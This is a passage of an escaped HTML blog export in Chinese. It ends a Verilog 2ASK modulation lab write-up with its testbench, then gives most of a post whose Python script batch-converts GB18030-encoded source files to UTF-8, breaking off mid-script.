punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways@\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egate \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b01111111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// +127将0变换过去\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"整合以及整体仿真\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E6%95%B4%E5%90%88%E4%BB%A5%E5%8F%8A%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"整合以及整体仿真\"\u003e\u003c/a\u003e整合以及整体仿真\u003c/h2\u003e\u003cp\u003e将以上各个模块添加进实验给定的模板,并生成原理图,然后连线。\u003c/p\u003e\u003cp\u003e要整体仿真,所以要先把原理图转换为 \u003ccode\u003eVerilog\u003c/code\u003e (File -\u0026gt; Create / Update -\u0026gt; Create HDL Design File from Current File…),之后从工程文件移除原理图,设置生成的 \u003ccode\u003everilog\u003c/code\u003e 文件为顶层文件进行编译,然后仿真。\u003c/p\u003e\u003cp\u003e通过对比编译出来的 RTL 视图,符合给定框图。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/twoask.png\"/\u003e\u003cp\u003e整体仿真,只要注意 \u003ccode\u003eclk\u003c/code\u003e , \u003ccode\u003em_squence\u003c/code\u003e , \u003ccode\u003etwo_ask[7...0]\u003c/code\u003e 这几个信号就行。 \u003ccode\u003etestbench\u003c/code\u003e 如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_sim\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_squence\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e two_ask\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003etwoask \u003cspan class=\"token function\"\u003etwoask_inst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003em_squence\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_squence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003etwo_ask\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etwo_ask\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F.jpg\"/\u003e\u003ch3 id=\"管脚分配\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E7%AE%A1%E8%84%9A%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"管脚分配\"\u003e\u003c/a\u003e管脚分配\u003c/h3\u003e\u003cp\u003e管脚分配啥的给的模板文件里已经分配好了,直接用就行。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e毕竟是主要是记录 \u003ccode\u003everilog\u003c/code\u003e 的一个学习过程,剩下的就不分析了,属于是实验报告里的活。这算是第一次用 \u003ccode\u003everilog\u003c/code\u003e 干这种比较综合的活?接触到了一些新玩意,IP核,mif文件之类的。也锻炼了从s一样实验指导手册里提炼信息的能力?\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(然后细节和要补充的等后面想起来再说\u003c/del\u003e \u003c/p\u003e\u003cp\u003e \u003cdel\u003e(我超突然想起来线下验收完忘了拍时域波形\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/#%E6%89%B9%E9%87%8F%E8%BD%AC%E6%8D%A2%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81gb2312%E8%BD%ACutf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e锟斤拷烫烫烫\u003c/del\u003e\u003c/p\u003e\u003cp\u003e这几天网上找代码学习用vscode打开之后中文全是乱码,转换编码为 \u003ccode\u003egb2312\u003c/code\u003e 后才正常显示,之前也因为这玩意狠狠的踩坑( \u003ccode\u003eKeil\u003c/code\u003e 默认的编码对中文来说太坑了。但是一个工程里文件很多,所以就需要一个批量把这些文件转换为 \u003ccode\u003eutf-8\u003c/code\u003e 的脚本。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/1.webp\" style=\"zoom: 67%;\"/\u003e\u003ch2 id=\"参考博客\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/a417655340/article/details/124460824\"\u003e批量转换文件编码gb2312转utf-8_每天一罐可乐的博客-CSDN博客_批量转换编码格式\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42336581/article/details/125776879\"\u003epython 递归遍历目录下的所有文件_Joy-\u0026gt;Boy的博客-CSDN博客_python递归获取文件夹下所有文件\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"关于文件编码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/#%E5%85%B3%E4%BA%8E%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"关于文件编码\"\u003e\u003c/a\u003e关于文件编码\u003c/h2\u003e\u003cp\u003eb站上找到的这个视频挺好。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1U5411d7FB\"\u003e「烫烫屯屯锟斤拷」揭秘ASCII、GBK、UTF-8,B站独家,一听就懂\u003c/a\u003e\u003c/p\u003e\u003ciframe src=\"//player.bilibili.com/player.html?aid=468972234\u0026amp;bvid=BV1U5411d7FB\u0026amp;cid=715388833\u0026amp;page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\u003ch2 id=\"脚本\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/#%E8%84%9A%E6%9C%AC\" class=\"headerlink\" title=\"脚本\"\u003e\u003c/a\u003e脚本\u003c/h2\u003e\u003cp\u003e其实网上随便一搜就有好多,试了一个效果不错,但是只能转换根目录下的文件。于是我稍微做了点修改。\u003c/p\u003e\u003cp\u003e效果还是不错的\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003e运行结果\u003c/summary\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\" language-bash\" data-language=\"bash\"\u003e\u003ccode class=\" language-bash\"\u003e请输入要转换编码的文件夹路径:C:\\Demo_OLED_STM32F103RCT6_Software_IIC===============================================================fileName fileEncoding===============================================================core_cm3.c GB18030core_cm3.h GB18030iic.c GB18030iic.h GB18030bmp.h GB18030oled.c GB18030oled.h GB18030oledfont.h GB18030RTE_Components.h GB18030misc.h GB18030stm32f10x_adc.h GB18030stm32f10x_bkp.h GB18030stm32f10x_can.h GB18030stm32f10x_cec.h GB18030stm32f10x_crc.h GB18030stm32f10x_dac.h GB18030stm32f10x_dbgmcu.h GB18030stm32f10x_dma.h GB18030stm32f10x_exti.h GB18030stm32f10x_flash.h GB18030stm32f10x_fsmc.h GB18030stm32f10x_gpio.h GB18030stm32f10x_i2c.h GB18030stm32f10x_iwdg.h GB18030stm32f10x_pwr.h GB18030stm32f10x_rcc.h GB18030stm32f10x_rtc.h GB18030stm32f10x_sdio.h GB18030stm32f10x_spi.h GB18030stm32f10x_tim.h GB18030stm32f10x_usart.h GB18030stm32f10x_wwdg.h GB18030misc.c GB18030stm32f10x_adc.c GB18030stm32f10x_bkp.c GB18030stm32f10x_can.c GB18030stm32f10x_cec.c GB18030stm32f10x_crc.c GB18030stm32f10x_dac.c GB18030stm32f10x_dbgmcu.c GB18030stm32f10x_dma.c GB18030stm32f10x_exti.c GB18030stm32f10x_flash.c GB18030stm32f10x_fsmc.c GB18030stm32f10x_gpio.c GB18030stm32f10x_i2c.c GB18030stm32f10x_iwdg.c GB18030stm32f10x_pwr.c GB18030stm32f10x_rcc.c GB18030stm32f10x_rtc.c GB18030stm32f10x_sdio.c GB18030stm32f10x_spi.c GB18030stm32f10x_tim.c GB18030stm32f10x_usart.c GB18030stm32f10x_wwdg.c GB18030delay.c GB18030delay.h GB18030sys.c GB18030sys.h GB18030gui.c GB18030gui.h GB18030main.c GB18030stm32f10x.h GB18030stm32f10x_conf.h GB18030stm32f10x_it.c GB18030stm32f10x_it.h GB18030system_stm32f10x.c GB18030system_stm32f10x.h GB18030test.c GB18030test.h GB18030---------错误统计------------共0个错误!-----------------------------\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/details\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/2.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e直接打开,舒服了\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e codecsgErrArray \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003econvert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e out_enc\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003etry\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 直接设置GB18030编码节省时间\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;GB18030\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e source_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e \u003cspan class=\"token boolean\"\u003eNone\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e out_enc\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e content\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003edecode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003esource_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eencode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout_enc\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003econtent\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;can not recgonize file encoding %s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;%s:%s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003eshow_files\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token triple-quoted-string string\"\u003e\u0026#34;\u0026#34;\u0026#34; 遍历当前目录所有py文件及文件夹 :param path: :param all_files: :return: \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e file_list \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elistdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 准备循环判断每个元素是否是文件夹还是文件,是文件的话,把名称传入list,是文件夹的话,递归\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e file_list\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 利用os.path.join()方法取得路径全名,并存入cur_path变量,否则每次只能遍历一层目录\u003c/span\u003e cur_path \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ejoin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 判断是否是文件夹\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eisdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003esplitext\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.h\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.c\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.cpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.hpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.bat\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.java\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e convert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e cur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e#explore(os.getcwd())\u003c/span\u003e filePath \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003einput\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请输入要转换编码的文件夹路径: \\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\\r\\n===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;fileName\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;fileEncoding\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n---------错误统计------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e index\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e item \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e 